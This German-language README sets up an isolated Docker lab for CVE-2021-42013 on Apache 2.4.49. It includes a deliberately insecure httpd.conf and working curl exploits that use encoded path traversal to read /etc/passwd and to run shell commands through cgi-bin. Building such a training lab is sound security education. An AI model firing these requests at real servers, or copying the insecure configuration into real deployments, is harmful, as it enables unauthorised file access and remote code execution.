
Docker-basiertes Penetrationstestlabor, das die CVE-2021-42013-Sicherheitslücke (Path Traversal & RCE) auf dem Apache HTTP Server (2.4.49) simuliert.
Docker-basiertes Penetrationstest-Labor, das die Schwachstelle CVE-2021-42013 (Path Traversal & RCE) auf dem Apache HTTP Server (2.4.49) simuliert.
Dieses Projekt wurde erstellt, um die Schwachstelle CVE-2021-42013 auf dem Apache HTTP Server (2.4.49) in einer isolierten Umgebung zu simulieren und auszunutzen (exploit). In der Arbeit wurde eine spezielle Laborumgebung namens docker-exploit-lab eingerichtet, wobei das Angriffsszenario über eine Opfer- (victim) und eine Angreifer-Maschine (attacker) im selben Netzwerk durchgeführt wurde.
Unser Labor besteht aus zwei grundlegenden Konfigurationsdateien: der Docker-Compose-Datei, die die Opfer-/Angreifer-Maschinen definiert, und der Konfigurationsdatei, die den Apache-Server verwundbar macht.
docker-compose.ymlDiese Datei erstellt eine isolierte Umgebung im Subnetz 172.20.0.0/16. Die Angreifer-Maschine installiert beim Start automatisch das für den Angriff erforderliche Tool curl.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confUm die Schwachstelle auszulösen, wurde der Server absichtlich verwundbar gemacht, indem dem Stammverzeichnis () und dem CGI-Verzeichnis die Berechtigung Require all granted erteilt wurde.
(Wichtiger Hinweis: Stellen Sie sicher, dass diese Datei im reinen UTF-8-Format ohne BOM (Byte Order Mark) gespeichert ist, um Fehler zu vermeiden.)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
Um das System zu starten, führen Sie im Arbeitsverzeichnis den folgenden Befehl im Terminal aus:
docker compose up -d
Nachdem das System gestartet ist, betreten wir die Kali-Linux-Maschine, in der wir die Angriffsbefehle ausführen:
Bash
docker exec -it attacker-box /bin/bash
Von der Kali-Maschine aus senden wir URL-kodierte Zeichen (.%%32%65) an die feste IP-Adresse des Ziels (172.20.0.2), um die Path-Traversal-Schwachstelle auszulösen und die Datei /etc/passwd zu lesen:
Bash
curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Da wir in der Apache-Konfiguration das CGI-Verzeichnis autorisiert haben, können wir dieselbe Path-Traversal-Logik über /cgi-bin/ verwenden, um auf dem Server direkt Shell-Befehle auszuführen. Um den Befehl id auszuführen:
Bash
curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
Erfolgreiche Ausgabe: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Diese Arbeit zeigt praktisch, wie eine von außen harmlos erscheinende Path-Traversal-Schwachstelle auf einem nicht aktualisierten Webserver in Kombination mit falsch konfigurierten CGI-Modul-Berechtigungen zu einer vollständigen Remote Code Execution (RCE) werden kann.